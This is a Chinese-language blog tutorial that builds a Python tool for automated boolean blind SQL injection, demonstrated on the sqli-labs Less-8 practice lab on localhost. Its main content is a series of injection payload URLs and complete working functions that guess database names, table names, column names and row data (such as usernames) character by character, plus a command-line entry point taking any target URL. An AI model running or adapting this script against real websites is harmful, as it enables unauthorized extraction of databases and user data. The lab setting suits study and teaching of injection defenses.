用python寫一個自動化盲註指令碼

雪痕*發表於2021-11-03

前言

當我們進行SQL隱碼攻擊時,當發現無法進行union注入或者報錯等注入,那麼,就需要考慮盲注了,當我們進行盲注時,需要通過頁面的反饋(布林盲注)或者相應時間(時間盲注),來一個字元一個字元的進行猜解。如果手工進行猜解,這就會有很大的工作量。所以這裡就使用python寫一個自動化指令碼來進行猜解,靶場選擇的是sqli-labs的第八關。
參考資料:《python安全攻防》

和盲注相關的payload

寫指令碼之前需要對盲注流程有一個瞭解。這樣寫指令碼時,思路才不會亂。這裡用sqli-labs的第八關舉例。具體如下:

獲取資料庫長度

127.0.0.1/sql/Less-8/?id=1' and if(length(database())=8,1,0) %23

獲取資料庫名

substr:字串擷取函式,第一位擷取,擷取一位

連起來就是,擷取資料庫名第一位,並判斷第一位的ascii值,是否等於115,如果為正確,直接返回。

127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,0) %23

獲取資料庫表的數量

127.0.0.1/sql/Less-8/?id=1' and if((select count(*)table_name from information_schema.tables where table_schema='security')=4,1,0) %23

獲取資料庫表名稱的長度

要注意limit,第一個引數的意思是從第幾行開始,最低是0,第二個引數是擷取幾行。這裡1是一行的意思。

127.0.0.1/sql/Less-8/?id=1' and if((select LENGTH(table_name) from information_schema.tables where table_schema='security' limit 1,1)=8,1,0) %23

獲取資料庫表名

127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,0) %23

獲取表的欄位數量

127.0.0.1/sql/Less-8/?id=1' and if((select count(column_name) from information_schema.cloumns where table_schema='security' and table_name='users')=3,1,0) %23

獲取欄位的長度

127.0.0.1/sql/Less-8/?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2,1,0) %23

獲取表的欄位

127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,0) %23

獲取欄位資料的數量

127.0.0.1/sql/Less-8/?id=1' and if((select count(username) from users)=13,1,0) %23

獲取欄位資料的長度

127.0.0.1/sql/Less-8/?id=1' and if((select length(username) from users limit 0,1)=4,1,0) %23

獲取欄位資料

127.0.0.1/sql/Less-8/?id=1' and if (ascii(substr((select username from users limit 0,1),1,1))=68,1,0) %23

盲註指令碼相關函式講解

首先編寫主函式,用來呼叫各個函式,程式碼如下:

#盲注主函式

def StartSqli(url):
    GetDBName(url)
    print("[+]當前資料庫名:{0}".format(DBName))
    GetDBTables(url,DBName)
    print("[+] 資料庫 {0} 的表如下:".format(DBName))
    for item in range(len(DBTables)):
        print("(" + str(item + 1 ) + ")" + DBTables[item])
    tableIndex = int(input("[*] 請輸入要檢視的表的序號 :")) - 1
    GetDBColumns(url,DBName,DBTables[tableIndex])
    while True:
        print("[+] 資料表 {0} 的欄位如下:".format(DBTables[tableIndex]))
        for item in range(len(DBColumns)):
            print("(" + str(item + 1) + ")" + DBColumns[item])
        columnIndex = int(input("[*] 請輸入 要檢視的欄位的序號(輸入0退出):")) - 1
        if(columnIndex == -1):
            break
        else:
            GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

接著,我們需要獲取資料庫名,最後得到的結果存入DBName

#獲取資料庫名函式
def GetDBName(url):
    #引用全域性變數DBName
    global DBName
    print("[-] 開始獲取資料庫的長度")
    #儲存資料庫長度的變數
    DBNameLen = 0
    #用於檢查資料庫長度的payload
    payload =  "' and if(length(database())={0},1,0) %23 "
    #把url和payload進行拼接,得到最終請求url
    targetUrl = url + payload
    print(targetUrl)
    #用for迴圈遍歷請求,得到資料庫名的長度
    for DBNameLen in range(1,99):
        #對payload的中的引數進行賦值猜解
        res = conn.get(targetUrl.format(DBNameLen))
        #判斷flag是否在返回的頁面中
        if flag in res.content.decode("utf-8"):
            print('進來了嗎')
            print("[+] 資料庫名的長度:"+ str(DBNameLen))
            break
    print("[-] 開始獲取資料庫名")
    #獲取資料庫名的payload
    payload = "' and if(ascii(substr(database(),{0},1))={1},1,0) %23"
    targetUrl = url + payload
    #a表示substr()函式的擷取位置
    for a in range(1,DBNameLen+1):
        #b表示在ascii碼中33~126 位可顯示的字元
        for b in range(33,127):
            res = conn.get(targetUrl.format(a,b))
            if flag in res.content.decode("utf-8"):
                DBName += chr(b)
                print("[-]" + DBName)
                break

獲取資料庫名的效果如下圖

image-20211019175932890

當我們得到資料庫名時,就可以去猜解表名。並把結果以列表形式存入DBTables

#獲取資料庫表函式
def GetDBTables(url, dbname):
    global DBTables
    #存放資料庫表數量的變數
    DBTableCount = 0
    print("[-] 開始獲取 {0} 資料庫表數量:".format(dbname))
    #獲取資料庫表數量的payload
    payload = "' and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0) %23"
    targetUrl = url + payload
    #開始遍歷獲取資料庫表的數量
    for DBTableCount in range(1,99):
        res = conn.get(targetUrl.format(dbname,DBTableCount))
        if flag in res.content.decode("utf-8"):
            print("[+]{0}資料庫中表的數量為:{1}".format(dbname,DBTableCount))
            break
    print("[-]開始獲取{0}資料庫的表".format(dbname))
    #遍歷表名時臨時存放表名長度的變數
    tableLen = 0
    #a表示當前正在獲取表的索引
    for a in range(0,DBTableCount):
        print("[-]正在獲取第{0}個表名".format(a+1))
        #先獲取當前表名的長度
        for tableLen in range(1,99):
            payload = "' and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname,a,tableLen))
            if flag in res.content.decode("utf-8"):
                break
        #開始獲取表名
        #臨時存放當前表名的變數
        table = ""
        #b表示當前表名猜解的位置(substr)
        for b in range(1,tableLen+1):
            payload = "' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0) %23"
            targetUrl = url + payload
            # c 表示在ascii碼中33~126位可顯示字元
            for c in range(33,127):
                res = conn.get(targetUrl.format(dbname,a,b,c))
                if flag in res.content.decode("utf-8"):
                    table +=chr(c)
                    print(table)
                    break
        #把獲取到的表名加入DBTables
        DBTables.append(table)
        #清空table,用來繼續獲取下一個表名
        table = ""

獲取資料庫表名的效果如下:

image-20211019180205979

根據上面獲取到的資料庫名,表名,接著來獲取表的欄位。並把結果以列表的形式存入DBColumns

#獲取資料庫表欄位的函式
def GetDBColumns(url,dbname,dbtable):
    global DBColumns
    #存放欄位數量的變數
    DBColumnCount = 0
    print("[-] 開始獲取{0}資料表的欄位數:".format(dbtable))
    for DBColumnCount in range(99):
        payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0} 資料表的欄位數為:{1}".format(dbtable,DBColumnCount))
            break
     #開始獲取欄位的名稱
     #儲存欄位名的臨時變數
    column = ""
    # a 表示當前獲取欄位的索引
    for a in range(0,DBColumnCount):
        print("[-]正在獲取第{0} 個欄位名".format(a+1))
        #先獲取欄位的長度
        for columnLen in range(99):
            payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen))
            if flag in res.content.decode("utf-8"):
                break
        #b表示當前欄位名猜解的位置
        for b in range(1,columnLen+1):
                payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) %23"
                targetUrl = url + payload
                #c 表示在ascii表的33~126位可顯示字元
                for c in range(33,127):
                    res = conn.get(targetUrl.format(dbname,dbtable,a,b,c))
                    if flag in res.content.decode("utf-8"):
                        column += chr(c)
                        print(column)
                        break
                #把獲取到的欄位加入DBCloumns
        DBColumns.append(column)
        #清空column,用來繼續獲取下一個欄位名
        column = ""

獲取表的欄位效果如下:

image-20211019180352627

然後,就可以獲取到資料了。根據獲取的URL,資料庫表名和資料表欄位來獲取資料。資料以字典形式存放,鍵為欄位名,值為資料形成的列表。

#獲取表欄位的函式
def GetDBData(url,dbtable,dbcolumn):
    global DBData
    #先獲取欄位的資料數量
    DBDataCount = 0
    print("[-]開始獲取 {0} 表 {1} 欄位的資料數量".format(dbtable,dbcolumn))
    for DBDataCount in range(99):
        payload = "' and if((select count({0}) from {1})={2},1,0) %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbcolumn,dbtable,DBDataCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0}表{1}欄位的資料數量為:{2}".format(dbtable,dbcolumn,DBDataCount))
            break
    for a in range(0,DBDataCount):
        print("[-] 正在獲取{0} 的 第{1} 個資料".format(dbcolumn,a+1))
        #先獲取這個資料的長度
        dataLen = 0
        for dataLen in range(99):
            payload = "' and if((select length({0}) from {1} limit {2},1)={3},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbcolumn,dbtable,a,dataLen))
            if flag in res.content.decode("utf-8"):
                print("[-]第{0}個資料長度為:{1}".format(a+1,dataLen))
                break
        #臨時存放資料內容變數
        data = ""
        #開始獲取資料具體內容
        #b表示當前資料內容的猜解的位置
        for b in range(1,dataLen+1):
            for c in range(33,127):
                payload = "' and if (ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0) %23"
                targetUrl = url + payload
                res = conn.get(targetUrl.format(dbcolumn,dbtable,a,b,c))
                if flag in res.content.decode("utf-8"):
                    data +=chr(c)
                    print(data)
                    break
        #放到以欄位名為健,值為列表的字典中
        DBData.setdefault(dbcolumn,[]).append(data)
        print(DBData)
        #把data清空,繼續獲取下一個資料
        data = ""

獲取資料的效果如下:

image-20211019180638366

最後,編寫主函式,傳入URL

#入口,主函式
if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python %prog -u url \n\n' 'Example: python %prog -u http://127.0.0.1/sql/Less-8/?id=1\n')
    #目標URL引數 -u
    parser.add_option('-u','--url',dest='targetURL',default='http://127.0.0.1/sql/Less-8/?id=1',type='string',help='target URL')
    (options,args) = parser.parse_args()
    StartSqli(options.targetURL)

小結

關於盲注的自動化指令碼就寫這麼多,如有錯誤請斧正。

相關文章